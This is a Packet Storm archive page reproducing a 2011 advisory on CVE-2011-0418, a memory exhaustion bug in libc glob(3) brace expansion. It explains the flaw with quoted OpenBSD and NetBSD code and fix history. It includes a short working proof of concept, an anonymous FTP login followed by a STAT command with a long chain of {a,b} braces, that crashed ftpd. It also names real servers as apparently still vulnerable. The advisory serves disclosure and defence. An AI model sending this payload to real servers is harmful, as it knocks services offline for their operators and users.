exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Multiple Vendors libc/glob(3) GLOB_BRACE|GLOB_LIMIT Memory Exhaustion

Multiple Vendors libc/glob(3) GLOB_BRACE|GLOB_LIMIT Memory Exhaustion
Posted May 3, 2011
Authored by Maksymilian Arciemowicz

Multiple vendors are affected by a memory exhaustion vulnerability in libc/glob(3) GLOB_BRACE|GLOB_LIMIT.

tags | exploit
advisories | CVE-2011-0418
SHA-256 | 1d1f0bb940366641cffd2edd81473a10c047934622b6fc4b18eefc826bbb182e

Multiple Vendors libc/glob(3) GLOB_BRACE|GLOB_LIMIT Memory Exhaustion

Change Mirror Download
[ Multiple Vendors libc/glob(3) GLOB_BRACE|GLOB_LIMIT memory exhaustion ]

Author: Maksymilian Arciemowicz
http://netbsd.org/donations/
http://securityreason.com/
http://cxib.net/
Date:
- Dis.: 19.01.2011
- Pub.: 02.05.2011

CVE: CVE-2011-0418

Affected Software (verified):
- NetBSD 5.1
- and more

Original URL:
http://securityreason.com/achievement_securityalert/97


--- 0.Description ---
#include <glob.h>

int glob(const char *pattern, int flags,
int (*errfunc)(const char *epath, int eerrno), glob_t *pglob);

Description

This function expands a filename wildcard which is passed as pattern.

GLOB_LIMIT Limit the amount of memory used by matches to ARG_MAX. This option should be set for programs that can be coerced to a denial of service attack via patterns that expand to a very large number of matches, such as a long string of */../*/..


--- 1. Multiple Vendors libc/glob(3) GLOB_BRACE|GLOB_LIMIT memory exhaustion ---
Analyzing history of GLOB_LIMIT, we should start since 2001, where it has been added to protect ftp servers before memory exhaustion.

http://www.mail-archive.com/bugtraq@securityfocus.com/msg04960.html

Any 'pattern', should be limited and controlled by GLOB LIMIT. Algorithm used in glob(3) is not optimal, and doesn't support functions like realpath() to eliminate duplicates. It's not easy to predict the greatest possible complexity. Anyway in 2010, netbsd has extended GLOB_LIMIT for a few new limits like: stats, readdir and malloc

OpenBSD has localized some integer overflow. In glob(3) function, exists some malloc() allowing allocate n<INT_MAX bytes into memory.

http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gen/glob.c.diff?r1=1.34;r2=1.35;f=h

-globextend()/openbsd--
749: newn = 2 + pglob->gl_pathc + pglob->gl_offs;
750: if (pglob->gl_offs >= INT_MAX ||
751: pglob->gl_pathc >= INT_MAX ||
752: newn >= INT_MAX ||
753: SIZE_MAX / sizeof(*pathv) <= newn ||
754: SIZE_MAX / sizeof(*statv) <= newn) {
755: nospace:
756: for (i = pglob->gl_offs; i < (ssize_t)(newn - 2); i++) {
757: if (pglob->gl_pathv && pglob->gl_pathv[i])
758: free(pglob->gl_pathv[i]);
759: if ((pglob->gl_flags & GLOB_KEEPSTAT) != 0 &&
760: pglob->gl_pathv && pglob->gl_pathv[i])
761: free(pglob->gl_statv[i]);
762: }
763: if (pglob->gl_pathv) {
764: free(pglob->gl_pathv);
765: pglob->gl_pathv = NULL;
766: }
767: if (pglob->gl_statv) {
768: free(pglob->gl_statv);
769: pglob->gl_statv = NULL;
770: }
771: return(GLOB_NOSPACE);
772: }
-globextend()/openbsd--

however SIZE_MAX and INT_MAX doesn't protect us before memory exhaustion. The real problem here is uncontrolled malloc(3) call. globextend() will be executed a lot of times and we should reduce calls to glob0() and globexp1(). Therefore has been created a new limit, limiting 'braces' used in 'pattern'.

http://cvsweb.netbsd.org/bsdweb.cgi/src/lib/libc/gen/glob.c.diff?r1=text&tr1=1.27&r2=text&tr2=1.29

If we don't reduce this call

-globextend()/netbsd--
static int
globextend(const Char *path, glob_t *pglob, size_t *limit)
{
char **pathv;
size_t i, newsize, len;
char *copy;
const Char *p;

_DIAGASSERT(path != NULL);
_DIAGASSERT(pglob != NULL);

newsize = sizeof(*pathv) * (2 + pglob->gl_pathc + pglob->gl_offs);
pathv = pglob->gl_pathv ? realloc(pglob->gl_pathv, newsize) :
malloc(newsize); <==== UNSECURE CALL
..
-globextend()/netbsd--

newsize = sizeof(*pathv) * (2 + pglob->gl_pathc + pglob->gl_offs);

malloc(3) try allocate (4*pglob->gl_pathc) bytes.

-PoC-
USER anonymous
PASS bla@bla.bla
STAT {a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}
-PoC-

in result we get

Jan 19 04:49:17 127 /netbsd: UVM: pid 615 (ftpd), uid 1003 killed: out of swap

Many servers are still vulnerable to the above vulnerability and CVE-2010-4754, CVE-2010-4755, CVE-2010-4756, CVE-2010-2632. Servers like ftp.sun.com ftp.sony.com seems still be affected.


--- 2. References ---
http://securityreason.com/achievement_securityalert/89
http://ftp.netbsd.org/pub/NetBSD/security/advisories/NetBSD-SA2010-008.txt.asc
http://www.oracle.com/technetwork/topics/security/cpujan2011-194091.html
http://support.avaya.com/css/P8/documents/100127892
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2632
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4754
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4755
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4756
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-0418

PoC:
change 'pattern' in
http://cxib.net/stuff/glob-0day.c


--- 3. Fix ---
Use CVS netbsd-5 netbsd-5-1 netbsd-5-0
http://cvsweb.netbsd.org/bsdweb.cgi/src/lib/libc/gen/glob.c


--- 4. Greets ---
Specials thanks for Christos Zoulas, spz

sp3x, Infospec


--- 5. Contact ---
Author: Maksymilian Arciemowicz

Email:
- cxib {a\./t] securityreason [d=t} com

GPG:
- http://securityreason.com/key/Arciemowicz.Maksymilian.gpg

http://netbsd.org/donations/
http://securityreason.com/
http://cxib.net/
Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    13 Files
  • 17
    May 17th
    22 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close